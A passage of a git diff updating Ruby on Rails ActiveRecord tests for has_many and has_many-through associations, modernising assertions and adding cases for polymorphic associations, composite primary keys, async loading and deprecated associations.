@@ -2036,45 +2518,47 @@ def test_sending_new_to_association_proxy_should_have_same_effect_as_calling_new
     assert_equal client_association.new.attributes, client_association.send(:new).attributes
   end
 
-  def test_respond_to_private_class_methods
-    client_association = companies(:first_firm).clients
-    assert !client_association.respond_to?(:private_method)
-    assert client_association.respond_to?(:private_method, true)
-  end
-
   def test_creating_using_primary_key
-    firm = Firm.all.merge!(order: "id").first
+    firm = Firm.first
     client = firm.clients_using_primary_key.create!(name: "test")
     assert_equal firm.name, client.firm_name
   end
 
   def test_defining_has_many_association_with_delete_all_dependency_lazily_evaluates_target_class
-    ActiveRecord::Reflection::AssociationReflection.any_instance.expects(:class_name).never
-    class_eval(<<-EOF, __FILE__, __LINE__ + 1)
-      class DeleteAllModel < ActiveRecord::Base
-        has_many :nonentities, :dependent => :delete_all
-      end
-    EOF
+    assert_not_called_on_instance_of(
+      ActiveRecord::Reflection::AssociationReflection,
+      :class_name,
+    ) do
+      class_eval(<<-EOF, __FILE__, __LINE__ + 1)
+        class DeleteAllModel < ActiveRecord::Base
+          has_many :nonentities, :dependent => :delete_all
+        end
+      EOF
+    end
   end
 
   def test_defining_has_many_association_with_nullify_dependency_lazily_evaluates_target_class
-    ActiveRecord::Reflection::AssociationReflection.any_instance.expects(:class_name).never
-    class_eval(<<-EOF, __FILE__, __LINE__ + 1)
-      class NullifyModel < ActiveRecord::Base
-        has_many :nonentities, :dependent => :nullify
-      end
-    EOF
+    assert_not_called_on_instance_of(
+      ActiveRecord::Reflection::AssociationReflection,
+      :class_name,
+    ) do
+      class_eval(<<-EOF, __FILE__, __LINE__ + 1)
+        class NullifyModel < ActiveRecord::Base
+          has_many :nonentities, :dependent => :nullify
+        end
+      EOF
+    end
   end
 
   def test_attributes_are_being_set_when_initialized_from_has_many_association_with_where_clause
     new_comment = posts(:welcome).comments.where(body: "Some content").build
-    assert_equal new_comment.body, "Some content"
+    assert_equal "Some content", new_comment.body
   end
 
   def test_attributes_are_being_set_when_initialized_from_has_many_association_with_multiple_where_clauses
     new_comment = posts(:welcome).comments.where(body: "Some content").where(type: "SpecialComment").build
-    assert_equal new_comment.body, "Some content"
-    assert_equal new_comment.type, "SpecialComment"
+    assert_equal "Some content", new_comment.body
+    assert_equal "SpecialComment", new_comment.type
     assert_equal new_comment.post_id, posts(:welcome).id
   end
 
@@ -2109,7 +2593,7 @@ def test_to_a_should_dup_target
     ary    = topics(:first).replies.to_a
     target = topics(:first).replies.target
 
-    assert_not_equal target.object_id, ary.object_id
+    assert_not_same target, ary
   end
 
   def test_merging_with_custom_attribute_writer
@@ -2135,6 +2619,15 @@ def test_with_polymorphic_has_many_with_custom_columns_name
     post.images << image
 
     assert_equal [image], post.images
+    assert_equal post, image.imageable
+  end
+
+  def test_joining_through_a_polymorphic_association_with_a_where_clause
+    writer   = humans(:gordon)
+    category = categories(:general)
+    TypedEssay.create! category: category, writer: writer
+
+    assert_equal 1, Category.joins(:human_writers_of_typed_essays).count
   end
 
   def test_build_with_polymorphic_has_many_does_not_allow_to_override_type_and_id
@@ -2145,6 +2638,13 @@ def test_build_with_polymorphic_has_many_does_not_allow_to_override_type_and_id
     assert_equal "Post", tagging.taggable_type
   end
 
+  def test_build_from_polymorphic_association_sets_inverse_instance
+    post = Post.new
+    tagging = post.taggings.build
+
+    assert_equal post, tagging.taggable
+  end
+
   def test_dont_call_save_callbacks_twice_on_has_many
     firm = companies(:first_firm)
     contract = firm.contracts.create!
@@ -2202,18 +2702,48 @@ def test_replace_returns_target
   def test_collection_association_with_private_kernel_method
     firm = companies(:first_firm)
     assert_equal [accounts(:signals37)], firm.accounts.open
+    assert_equal [accounts(:signals37)], firm.accounts.available
+  end
+
+  def test_association_with_or_doesnt_set_inverse_instance_key
+    firm = companies(:first_firm)
+    accounts = firm.accounts.or(Account.where(firm_id: nil)).order(:id)
+    assert_equal [firm.id, nil], accounts.map(&:firm_id)
+  end
+
+  def test_association_with_rewhere_doesnt_set_inverse_instance_key
+    firm = companies(:first_firm)
+    accounts = firm.accounts.rewhere(firm_id: [firm.id, nil]).order(:id)
+    assert_equal [firm.id, nil], accounts.map(&:firm_id)
   end
 
   test "first_or_initialize adds the record to the association" do
     firm = Firm.create! name: "omg"
-    client = firm.clients_of_firm.first_or_initialize
+    client = firm.clients_of_firm.where(name: "lol").first_or_initialize do
+      assert_equal 5, Client.count
+    end
+    assert_equal "lol", client.name
     assert_equal [client], firm.clients_of_firm
   end
 
   test "first_or_create adds the record to the association" do
     firm = Firm.create! name: "omg"
     firm.clients_of_firm.load_target
-    client = firm.clients_of_firm.first_or_create name: "lol"
+    client = firm.clients_of_firm.where(name: "lol").first_or_create do
+      assert_equal 5, Client.count
+    end
+    assert_equal "lol", client.name
+    assert_equal [client], firm.clients_of_firm
+    assert_equal [client], firm.reload.clients_of_firm
+  end
+
+  test "first_or_create! adds the record to the association" do
+    firm = Firm.create! name: "omg"
+    firm.clients_of_firm.load_target
+    client = firm.clients_of_firm.where(name: "lol").first_or_create! do
+      assert_equal 5, Client.count
+    end
+    assert_equal "lol", client.name
     assert_equal [client], firm.clients_of_firm
     assert_equal [client], firm.reload.clients_of_firm
   end
@@ -2222,10 +2752,10 @@ def test_collection_association_with_private_kernel_method
     post = posts(:welcome)
 
     assert post.taggings_with_delete_all.count > 0
-    assert !post.taggings_with_delete_all.loaded?
+    assert_not_predicate post.taggings_with_delete_all, :loaded?
 
     # 2 queries: one DELETE and another to update the counter cache
-    assert_queries(2) do
+    assert_queries_count(2) do
       post.taggings_with_delete_all.delete_all
     end
   end
@@ -2233,7 +2763,7 @@ def test_collection_association_with_private_kernel_method
   test "has many associations on new records use null relations" do
     post = Post.new
 
-    assert_no_queries(ignore_none: false) do
+    assert_no_queries do
       assert_equal [], post.comments
       assert_equal [], post.comments.where(body: "omg")
       assert_equal [], post.comments.pluck(:body)
@@ -2244,19 +2774,27 @@ def test_collection_association_with_private_kernel_method
 
   test "collection proxy respects default scope" do
     author = authors(:mary)
-    assert !author.first_posts.exists?
+    assert_not_predicate author.first_posts, :exists?
   end
 
   test "association with extend option" do
     post = posts(:welcome)
-    assert_equal "lifo",  post.comments_with_extend.author
-    assert_equal "hello", post.comments_with_extend.greeting
+    assert_equal "lifo", post.comments_with_extend.author
+    assert_equal "hello :)", post.comments_with_extend.greeting
   end
 
   test "association with extend option with multiple extensions" do
     post = posts(:welcome)
-    assert_equal "lifo",  post.comments_with_extend_2.author
-    assert_equal "hello", post.comments_with_extend_2.greeting
+    assert_equal "lifo", post.comments_with_extend_2.author
+    assert_equal "hullo :)", post.comments_with_extend_2.greeting
+  end
+
+  test "extend option affects per association" do
+    post = posts(:welcome)
+    assert_equal "lifo", post.comments_with_extend.author
+    assert_equal "lifo", post.comments_with_extend_2.author
+    assert_equal "hello :)", post.comments_with_extend.greeting
+    assert_equal "hullo :)", post.comments_with_extend_2.greeting
   end
 
   test "delete record with complex joins" do
@@ -2277,7 +2815,7 @@ def test_collection_association_with_private_kernel_method
 
   test "does not duplicate associations when used with natural primary keys" do
     speedometer = Speedometer.create!(id: "4")
-    speedometer.minivans.create!(minivan_id: "a-van-red" , name: "a van", color: "red")
+    speedometer.minivans.create!(minivan_id: "a-van-red", name: "a van", color: "red")
 
     assert_equal 1, speedometer.minivans.to_a.size, "Only one association should be present:\n#{speedometer.minivans.to_a}"
     assert_equal 1, speedometer.reload.minivans.to_a.size
@@ -2290,10 +2828,11 @@ def test_collection_association_with_private_kernel_method
 
     assert_equal [bulb1], car.bulbs
     assert_equal [bulb1, bulb2], car.all_bulbs.sort_by(&:id)
+    assert_equal [bulb1, bulb2], Car.includes(:all_bulbs).find(car.id).all_bulbs.sort_by(&:id)
+    assert_equal [bulb1, bulb2], Car.eager_load(:all_bulbs).find(car.id).all_bulbs.sort_by(&:id)
   end
 
   test "can unscope and where the default scope of the associated model" do
-    Car.has_many :other_bulbs, -> { unscope(where: [:name]).where(name: "other") }, class_name: "Bulb"
     car = Car.create!
     bulb1 = Bulb.create! name: "defaulty", car: car
     bulb2 = Bulb.create! name: "other",    car: car
@@ -2303,7 +2842,6 @@ def test_collection_association_with_private_kernel_method
   end
 
   test "can rewhere the default scope of the associated model" do
-    Car.has_many :old_bulbs, -> { rewhere(name: "old") }, class_name: "Bulb"
     car = Car.create!
     bulb1 = Bulb.create! name: "defaulty", car: car
     bulb2 = Bulb.create! name: "old",      car: car
@@ -2314,10 +2852,11 @@ def test_collection_association_with_private_kernel_method
 
   test "unscopes the default scope of associated model when used with include" do
     car = Car.create!
-    bulb = Bulb.create! name: "other", car: car
+    bulb1 = Bulb.create! name: "defaulty", car: car
+    bulb2 = Bulb.create! name: "other",    car: car
 
-    assert_equal bulb, Car.find(car.id).all_bulbs.first
-    assert_equal bulb, Car.includes(:all_bulbs).find(car.id).all_bulbs.first
+    assert_equal [bulb1, bulb2], Car.includes(:all_bulbs2).find(car.id).all_bulbs2.sort_by(&:id)
+    assert_equal [bulb1, bulb2], Car.eager_load(:all_bulbs2).find(car.id).all_bulbs2.sort_by(&:id)
   end
 
   test "raises RecordNotDestroyed when replaced child can't be destroyed" do
@@ -2329,7 +2868,7 @@ def test_collection_association_with_private_kernel_method
     end
 
     assert_equal [original_child], car.reload.failed_bulbs
-    assert_equal "Failed to destroy the record", error.message
+    assert_equal "Failed to destroy FailedBulb with #{FailedBulb.primary_key}=#{original_child.id}", error.message
   end
 
   test "updates counter cache when default scope is given" do
@@ -2354,7 +2893,7 @@ def test_collection_association_with_private_kernel_method
     pirate = FamousPirate.new
     pirate.famous_ships << ship = FamousShip.new
 
-    assert pirate.valid?
+    assert_predicate pirate, :valid?
     assert_not pirate.valid?(:conference)
     assert_equal "can't be blank", ship.errors[:name].first
   end
@@ -2371,20 +2910,24 @@ def test_collection_association_with_private_kernel_method
 
   test "associations autosaves when object is already persisted" do
     bulb = Bulb.create!
-    tyre = Tyre.create!
+    tire = Tire.create!
 
-    car = Car.create! do |c|
+    car = Car.create!(name: "honda") do |c|
       c.bulbs << bulb
-      c.tyres << tyre
+      c.tires << tire
     end
 
+    assert_equal [nil, "honda"], car.saved_change_to_name
+
     assert_equal 1, car.bulbs.count
-    assert_equal 1, car.tyres.count
+    assert_equal 1, car.tires.count
   end
 
   test "associations replace in memory when records have the same id" do
     bulb = Bulb.create!
-    car = Car.create!(bulbs: [bulb])
+    car = Car.create!(name: "honda", bulbs: [bulb])
+
+    assert_equal [nil, "honda"], car.saved_change_to_name
 
     new_bulb = Bulb.find(bulb.id)
     new_bulb.name = "foo"
@@ -2395,7 +2938,9 @@ def test_collection_association_with_private_kernel_method
 
   test "in memory replacement executes no queries" do
     bulb = Bulb.create!
-    car = Car.create!(bulbs: [bulb])
+    car = Car.create!(name: "honda", bulbs: [bulb])
+
+    assert_equal [nil, "honda"], car.saved_change_to_name
 
     new_bulb = Bulb.find(bulb.id)
 
@@ -2427,7 +2972,9 @@ def self.name
 
   test "in memory replacements sets inverse instance" do
     bulb = Bulb.create!
-    car = Car.create!(bulbs: [bulb])
+    car = Car.create!(name: "honda", bulbs: [bulb])
+
+    assert_equal [nil, "honda"], car.saved_change_to_name
 
     new_bulb = Bulb.find(bulb.id)
     car.bulbs = [new_bulb]
@@ -2435,10 +2982,21 @@ def self.name
     assert_same car, new_bulb.car
   end
 
+  test "reattach to new objects replaces inverse association and foreign key" do
+    bulb = Bulb.create!(car: Car.create!)
+    assert bulb.car_id
+    car = Car.new
+    car.bulbs << bulb
+    assert_equal car, bulb.car
+    assert_nil bulb.car_id
+  end
+
   test "in memory replacement maintains order" do
     first_bulb = Bulb.create!
     second_bulb = Bulb.create!
-    car = Car.create!(bulbs: [first_bulb, second_bulb])
+    car = Car.create!(name: "honda", bulbs: [first_bulb, second_bulb])
+
+    assert_equal [nil, "honda"], car.saved_change_to_name
 
     same_bulb = Bulb.find(first_bulb.id)
     car.bulbs = [second_bulb, same_bulb]
@@ -2446,13 +3004,99 @@ def self.name
     assert_equal [first_bulb, second_bulb], car.bulbs
   end
 
-  test "double insertion of new object to association when same association used in the after create callback of a new object" do
-    reset_callbacks(:save, Bulb) do
+  test "association size calculation works with default scoped selects when not previously fetched" do
+    firm = Firm.create!(name: "Firm")
+    5.times { firm.developers_with_select << Developer.create!(name: "Developer") }
+
+    same_firm = Firm.find(firm.id)
+    assert_equal 5, same_firm.developers_with_select.size
+  end
+
+  test "prevent double insertion of new object when the parent association loaded in the after save callback" do
+    reset_callbacks(Bulb, :save) do
       Bulb.after_save { |record| record.car.bulbs.load }
+
       car = Car.create!
       car.bulbs << Bulb.new
+
+      assert_equal 1, car.bulbs.size
+    end
+  end
+
+  test "prevent double firing the before save callback of new object when the parent association saved in the callback" do
+    reset_callbacks(Bulb, :save) do
+      count = 0
+      Bulb.before_save { |record| record.car.save && count += 1 }
+
+      car = Car.create!
+      car.bulbs.create!
+
+      assert_equal 1, count
+    end
+  end
+
+  test "calling size on an association that has not been loaded performs a query" do
+    car = Car.create!
+    Bulb.create(car_id: car.id)
+
+    car_two = Car.create!
+
+    assert_queries_count(1) do
       assert_equal 1, car.bulbs.size
     end
+
+    assert_queries_count(1) do
+      assert_equal 0, car_two.bulbs.size
+    end
+  end
+
+  test "calling size on an association that has been loaded does not perform query" do
+    car = Car.create!
+    Bulb.create(car_id: car.id)
+    car.bulb_ids
+
+    car_two = Car.create!
+    car_two.bulb_ids
+
+    assert_no_queries do
+      assert_equal 1, car.bulbs.size
+    end
+
+    assert_no_queries do
+      assert_equal 0, car_two.bulbs.size
+    end
+  end
+
+  test "calling empty on an association that has not been loaded performs a query" do
+    car = Car.create!
+    Bulb.create(car_id: car.id)
+
+    car_two = Car.create!
+
+    assert_queries_count(1) do
+      assert_not_empty car.bulbs
+    end
+
+    assert_queries_count(1) do
+      assert_empty car_two.bulbs
+    end
+  end
+
+  test "calling empty on an association that has been loaded does not performs query" do
+    car = Car.create!
+    Bulb.create(car_id: car.id)
+    car.bulb_ids
+
+    car_two = Car.create!
+    car_two.bulb_ids
+
+    assert_no_queries do
+      assert_not_empty car.bulbs
+    end
+
+    assert_no_queries do
+      assert_empty car_two.bulbs
+    end
   end
 
   class AuthorWithErrorDestroyingAssociation < ActiveRecord::Base
@@ -2491,11 +3135,16 @@ def test_ids_reader_memoization
 
     assert_equal [bulb.id], car.bulb_ids
     assert_no_queries { car.bulb_ids }
+
+    bulb2 = car.bulbs.create!
+
+    assert_equal [bulb.id, bulb2.id], car.bulb_ids.sort
+    assert_no_queries { car.bulb_ids }
   end
 
   def test_loading_association_in_validate_callback_doesnt_affect_persistence
-    reset_callbacks(:validation, Bulb) do
-      Bulb.after_validation { |m| m.car.bulbs.load }
+    reset_callbacks(Bulb, :validation) do
+      Bulb.after_validation { |record| record.car.bulbs.load }
 
       car = Car.create!(name: "Car")
       bulb = car.bulbs.create!
@@ -2504,23 +3153,206 @@ def test_loading_association_in_validate_callback_doesnt_affect_persistence
     end
   end
 
-  private
+  def test_create_children_could_be_rolled_back_by_after_save
+    firm = Firm.create!(name: "A New Firm, Inc")
+    assert_no_difference "Client.count" do
+      client = firm.clients.create(name: "New Client") do |cli|
+        cli.rollback_on_save = true
+        assert_not cli.rollback_on_create_called
+      end
+      assert client.rollback_on_create_called
+    end
+  end
+
+  def test_has_many_with_out_of_range_value
+    reference = Reference.create!(id: 2147483648) # out of range in the integer
+    assert_equal [], reference.ideal_jobs
+  end
+
+  def test_has_many_preloading_with_duplicate_records
+    posts = Post.joins(:comments).preload(:comments).order(:id).to_a
+    assert_equal [1, 2], posts.first.comments.map(&:id).sort
+  end
+
+  def test_has_many_association_with_same_foreign_key_name
+    assert_nothing_raised do
+      firm = Firm.find(15)
+      assert_not_nil(firm.comments.first)
+    end
+  end
+
+  def test_key_ensuring_owner_was_is_not_valid_without_dependent_option
+    error = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        has_many :books, ensuring_owner_was: :destroyed?
+      end
+    end
+
+    assert_match(/Unknown key: :ensuring_owner_was/, error.message)
+  end
+
+  def test_invalid_key_raises_with_message_including_all_default_options
+    error = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        has_many :books, trough: :users
+      end
+    end
+
+    assert_equal(<<~MESSAGE.squish, error.message)
+      Unknown key: :trough. Valid keys are:
+      :anonymous_class, :primary_key, :foreign_key, :dependent, :validate, :inverse_of,
+      :strict_loading, :query_constraints, :deprecated, :autosave, :class_name, :before_add,
+      :after_add, :before_remove, :after_remove, :extend, :counter_cache, :join_table,
+      :index_errors, :as, :through
+    MESSAGE
+  end
+
+  def test_key_ensuring_owner_was_is_valid_when_dependent_option_is_destroy_async
+    assert_nothing_raised do
+      Class.new(ActiveRecord::Base) do
+        self.destroy_association_async_job = Class.new
+
+        has_many :books, dependent: :destroy_async, ensuring_owner_was: :destroyed?
+      end
+    end
+  end
+
+  test "composite primary key malformed association class" do
+    error = assert_raises(ActiveRecord::CompositePrimaryKeyMismatchError) do
+      order = Cpk::BrokenOrder.new(id: [1, 2], books: [Cpk::Book.new(title: "Some book")])
+      order.save!
+    end
+
+    assert_equal(<<~MESSAGE.squish, error.message)
+      Association Cpk::BrokenOrder#books primary key ["shop_id", "status"]
+      doesn't match with foreign key broken_order_id. Please specify query_constraints, or primary_key and foreign_key values.
+    MESSAGE
+  end
+
+  test "composite primary key malformed association owner class" do
+    error = assert_raises(ActiveRecord::CompositePrimaryKeyMismatchError) do
+      order = Cpk::BrokenOrderWithNonCpkBooks.new(id: [1, 2], books: [Cpk::NonCpkBook.new(title: "Some book")])
+      order.save!
+    end
+
+    assert_equal(<<~MESSAGE.squish, error.message)
+    Association Cpk::BrokenOrderWithNonCpkBooks#books primary key [\"shop_id\", \"status\"]
+    doesn't match with foreign key broken_order_with_non_cpk_books_id. Please specify query_constraints, or primary_key and foreign_key values.
+    MESSAGE
+  end
+
+  def test_ids_reader_on_preloaded_association_with_composite_primary_key
+    great_author = cpk_authors(:cpk_great_author)
+
+    assert_equal great_author.books.ids, Cpk::Author.preload(:books).find(great_author.id).book_ids
+  end
 
+  private
     def force_signal37_to_load_all_clients_of_firm
       companies(:first_firm).clients_of_firm.load_target
     end
+end
+
+class AsyncHasManyAssociationsTest < ActiveRecord::TestCase
+  include WaitForAsyncTestHelper
+
+  self.use_transactional_tests = false
+
+  fixtures :companies
+
+  unless in_memory_db?
+    def test_async_load_has_many
+      firm = companies(:first_firm)
 
-    def reset_callbacks(kind, klass)
-      old_callbacks = {}
-      old_callbacks[klass] = klass.send("_#{kind}_callbacks").dup
-      klass.subclasses.each do |subclass|
-        old_callbacks[subclass] = subclass.send("_#{kind}_callbacks").dup
+      firm.association(:clients).async_load_target
+      wait_for_async_query
+
+      events = []
+      callback = -> (event) do
+        events << event unless event.payload[:name] == "SCHEMA"
+      end
+
+      ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
+        assert_equal 3, firm.clients.size
       end
-      yield
-    ensure
-      klass.send("_#{kind}_callbacks=", old_callbacks[klass])
-      klass.subclasses.each do |subclass|
-        subclass.send("_#{kind}_callbacks=", old_callbacks[subclass])
+
+      assert_no_queries do
+        assert_not_nil firm.clients[2]
       end
+
+      assert_equal 1, events.size
+      assert_equal true, events.first.payload[:async]
+    end
+  end
+end
+
+class DeprecatedHasManyAssociationsTest < ActiveRecord::TestCase
+  include DeprecatedAssociationsTestHelpers
+
+  fixtures :cars
+
+  setup do
+    @model = DATS::Car
+    @car = @model.first
+  end
+
+  test "<association>" do
+    assert_not_deprecated_association(:tires) do
+      @car.tires
     end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_method(:deprecated_tires)) do
+      assert_equal @car.tires, @car.deprecated_tires
+    end
+  end
+
+  test "<association>=" do
+    tire = DATS::Tire.new
+
+    assert_not_deprecated_association(:tires) do
+      @car.tires = [tire]
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_method(:deprecated_tires=)) do
+      @car.deprecated_tires = [tire]
+    end
+    assert_equal [tire], @car.deprecated_tires
+  end
+
+  test "<singular_association>_ids" do
+    assert_not_deprecated_association(:tires) do
+      @car.tire_ids
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_method(:deprecated_tire_ids)) do
+      assert_equal @car.tire_ids, @car.deprecated_tire_ids
+    end
+  end
+
+  test "<singular_association>_ids=" do
+    tire = @car.tires.create!
+
+    assert_not_deprecated_association(:tires) do
+      @car.tire_ids = [tire.id]
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_method(:deprecated_tire_ids=)) do
+      @car.deprecated_tire_ids = [tire.id]
+    end
+    assert_equal [tire.id], @car.deprecated_tire_ids
+  end
+
+  test "destroy (not deprecated)" do
+    assert_not_deprecated_association(:tires) do
+      @car.destroy
+    end
+    assert_predicate @car, :destroyed?
+  end
+
+  test "destroy (deprecated)" do
+    assert_deprecated_association(:deprecated_tires, context: context_for_dependent) do
+      @car.destroy
+    end
+    assert_predicate @car, :destroyed?
+  end
 end
diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb
index ea52fb5a677b3..5a1fd6ca6f998 100644
--- a/activerecord/test/cases/associations/has_many_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "support/deprecated_associations_test_helpers"
 require "models/post"
 require "models/person"
 require "models/reference"
@@ -27,16 +30,30 @@
 require "models/member"
 require "models/membership"
 require "models/club"
+require "models/program"
+require "models/program_offering"
+require "models/enrollment"
 require "models/organization"
 require "models/user"
 require "models/family"
 require "models/family_tree"
+require "models/section"
+require "models/seminar"
+require "models/session"
+require "models/sharded"
+require "models/cpk"
+require "models/zine"
+require "models/interest"
+require "models/human"
+require "models/dats"
 
 class HasManyThroughAssociationsTest < ActiveRecord::TestCase
   fixtures :posts, :readers, :people, :comments, :authors, :categories, :taggings, :tags,
            :owners, :pets, :toys, :jobs, :references, :companies, :members, :author_addresses,
            :subscribers, :books, :subscriptions, :developers, :categorizations, :essays,
-           :categories_posts, :clubs, :memberships, :organizations
+           :categories_posts, :clubs, :memberships, :organizations, :author_favorites,
+           :sharded_blog_posts, :sharded_tags, :sharded_blog_posts_tags, :cpk_orders, :cpk_tags,
+           :cpk_order_tags
 
   # Dummies to force column loads so query counts are clean.
   def setup
@@ -44,6 +61,42 @@ def setup
     Reader.create person_id: 0, post_id: 0
   end
 
+  def test_has_many_through_create_record
+    assert books(:awdr).subscribers.create!(nick: "bob")
+  end
+
+  def test_marshal_dump
+    preloaded = Post.includes(:first_blue_tags).first
+    assert_equal preloaded, Marshal.load(Marshal.dump(preloaded))
+  end
+
+  def test_through_association_with_joins
+    assert_equal [comments(:eager_other_comment1)], authors(:mary).comments.merge(Post.joins(:comments))
+  end
+
+  def test_through_association_with_left_joins
+    assert_equal [comments(:eager_other_comment1)], authors(:mary).comments.merge(Post.left_joins(:comments))
+  end
+
+  def test_through_association_with_through_scope_and_nested_where
+    company = Company.create!(name: "special")
+    developer = SpecialDeveloper.create!
+    SpecialContract.create!(company: company, special_developer: developer)
+
+    assert_equal [developer], company.special_developers.where.not("contracts.id": nil)
+  end
+
+  def test_preload_with_nested_association
+    posts = Post.where(id: [authors(:david).id, authors(:mary).id]).
+      preload(:author, :author_favorites_with_scope).order(:id).to_a
+
+    assert_no_queries do
+      posts.each(&:author)
+      posts.each(&:author_favorites_with_scope)
+      assert_equal 1, posts[0].author_favorites_with_scope.length
+    end
+  end
+
   def test_preload_sti_rhs_class
     developers = Developer.includes(:firms).all.to_a
     assert_no_queries do
@@ -64,8 +117,13 @@ def test_preload_sti_middle_relation
                  club1.members.sort_by(&:id)
   end
 
-  def make_model(name)
-    Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+  def test_preload_multiple_instances_of_the_same_record
+    club = Club.create!(name: "Aaron cool banana club")
+    Membership.create! club: club, member: Member.create!(name: "Aaron")
+    Membership.create! club: club, member: Member.create!(name: "Bob")
+
+    preloaded_clubs = Club.joins(:memberships).preload(:membership).to_a
+    assert_no_queries { preloaded_clubs.each(&:membership) }
   end
 
   def test_ordered_has_many_through
@@ -152,26 +210,12 @@ def test_no_pk_join_model_callbacks
     assert after_destroy_called, "after destroy should be called"
   end
 
-  def make_no_pk_hm_t
-    lesson = make_model "Lesson"
-    student = make_model "Student"
-
-    lesson_student = make_model "LessonStudent"
-    lesson_student.table_name = "lessons_students"
-
-    lesson_student.belongs_to :lesson, anonymous_class: lesson
-    lesson_student.belongs_to :student, anonymous_class: student
-    lesson.has_many :lesson_students, anonymous_class: lesson_student
-    lesson.has_many :students, through: :lesson_students, anonymous_class: student
-    [lesson, lesson_student, student]
-  end
-
   def test_pk_is_not_required_for_join
     post  = Post.includes(:scategories).first
     post2 = Post.includes(:categories).first
 
     assert_operator post.categories.length, :>, 0
-    assert_equal post2.categories, post.categories
+    assert_equal post2.categories.sort_by(&:id), post.categories.sort_by(&:id)
   end
 
   def test_include?
@@ -185,11 +229,11 @@ def test_associate_existing
     post   = posts(:thinking)
     person = people(:david)
 
-    assert_queries(1) do
+    assert_queries_count(3) do
       post.people << person
     end
 
-    assert_queries(1) do
+    assert_queries_count(1) do
       assert_includes post.people, person
     end
 
@@ -202,7 +246,7 @@ def test_delete_all_for_with_dependent_option_destroy
 
     assert_no_difference "Job.count" do
       assert_difference "Reference.count", -1 do
-        person.reload.jobs_with_dependent_destroy.delete_all
+        assert_equal 1, person.reload.jobs_with_dependent_destroy.delete_all
       end
     end
   end
@@ -213,7 +257,7 @@ def test_delete_all_for_with_dependent_option_nullify
 
     assert_no_difference "Job.count" do
       assert_no_difference "Reference.count" do
-        person.reload.jobs_with_dependent_nullify.delete_all
+        assert_equal 1, person.reload.jobs_with_dependent_nullify.delete_all
       end
     end
   end
@@ -224,17 +268,26 @@ def test_delete_all_for_with_dependent_option_delete_all
 
     assert_no_difference "Job.count" do
       assert_difference "Reference.count", -1 do
-        person.reload.jobs_with_dependent_delete_all.delete_all
+        assert_equal 1, person.reload.jobs_with_dependent_delete_all.delete_all
       end
     end
   end
 
+  def test_delete_all_on_association_clears_scope
+    post = Post.create!(title: "Rails 6", body: "")
+    people = post.people
+    people.create!(first_name: "Jeb")
+    people.delete_all
+    assert_nil people.first
+  end
+
   def test_concat
     person = people(:david)
     post   = posts(:thinking)
-    post.people.concat [person]
+    result = post.people.concat [person]
     assert_equal 1, post.people.size
     assert_equal 1, post.people.reload.size
+    assert_equal post.people, result
   end
 
   def test_associate_existing_record_twice_should_add_to_target_twice
@@ -273,20 +326,20 @@ def test_add_two_instance_and_then_deleting
   end
 
   def test_associating_new
-    assert_queries(1) { posts(:thinking) }
+    assert_queries_count(1) { posts(:thinking) }
     new_person = nil # so block binding catches it
 
-    assert_queries(0) do
+    assert_queries_count(0) do
       new_person = Person.new first_name: "bob"
     end
 
     # Associating new records always saves them
     # Thus, 1 query for the new person record, 1 query for the new join table record
-    assert_queries(2) do
+    assert_queries_count(4) do
       posts(:thinking).people << new_person
     end
 
-    assert_queries(1) do
+    assert_queries_count(1) do
       assert_includes posts(:thinking).people, new_person
     end
 
@@ -294,15 +347,15 @@ def test_associating_new
   end
 
   def test_associate_new_by_building
-    assert_queries(1) { posts(:thinking) }
+    assert_queries_count(1) { posts(:thinking) }
 
-    assert_queries(0) do
+    assert_queries_count(0) do
       posts(:thinking).people.build(first_name: "Bob")
       posts(:thinking).people.new(first_name: "Ted")
     end
 
     # Should only need to load the association once
-    assert_queries(1) do
+    assert_queries_count(1) do
       assert_includes posts(:thinking).people.collect(&:first_name), "Bob"
       assert_includes posts(:thinking).people.collect(&:first_name), "Ted"
     end
@@ -310,7 +363,7 @@ def test_associate_new_by_building
     # 2 queries for each new record (1 to save the record itself, 1 for the join model)
     #    * 2 new records = 4
     # + 1 query to save the actual post = 5
-    assert_queries(5) do
+    assert_queries_count(7) do
       posts(:thinking).body += "-changed"
       posts(:thinking).save
     end
@@ -337,6 +390,17 @@ def test_build_then_save_with_has_one_inverse
     assert_includes post.single_people, person
   end
 
+  def test_build_then_remove_then_save
+    post = posts(:thinking)
+    post.people.build(first_name: "Bob")
+    ted = post.people.build(first_name: "Ted")
+    post.people.delete(ted)
+    post.save!
+    post.reload
+
+    assert_equal ["Bob"], post.people.collect(&:first_name)
+  end
+
   def test_both_parent_ids_set_when_saving_new
     post = Post.new(title: "Hello", body: "world")
     person = Person.new(first_name: "Sean")
@@ -351,17 +415,17 @@ def test_both_parent_ids_set_when_saving_new
   end
 
   def test_delete_association
-    assert_queries(2) { posts(:welcome);people(:michael); }
+    assert_queries_count(2) { posts(:welcome); people(:michael) }
 
-    assert_queries(1) do
+    assert_queries_count(3) do
       posts(:welcome).people.delete(people(:michael))
     end
 
-    assert_queries(1) do
-      assert posts(:welcome).people.empty?
+    assert_queries_count(1) do
+      assert_empty posts(:welcome).people
     end
 
-    assert posts(:welcome).reload.people.reload.empty?
+    assert_empty posts(:welcome).reload.people.reload
   end
 
   def test_destroy_association
@@ -371,8 +435,8 @@ def test_destroy_association
       end
     end
 
-    assert posts(:welcome).reload.people.empty?
-    assert posts(:welcome).people.reload.empty?
+    assert_empty posts(:welcome).reload.people
+    assert_empty posts(:welcome).people.reload
   end
 
   def test_destroy_all
@@ -382,8 +446,57 @@ def test_destroy_all
       end
     end
 
-    assert posts(:welcome).reload.people.empty?
-    assert posts(:welcome).people.reload.empty?
+    assert_empty posts(:welcome).reload.people
+    assert_empty posts(:welcome).people.reload
+  end
+
+  def test_destroy_all_on_composite_primary_key_model
+    tag = cpk_tags(:cpk_tag_loyal_customer)
+
+    assert_not_empty(tag.orders.to_a)
+
+    tag.orders.destroy_all
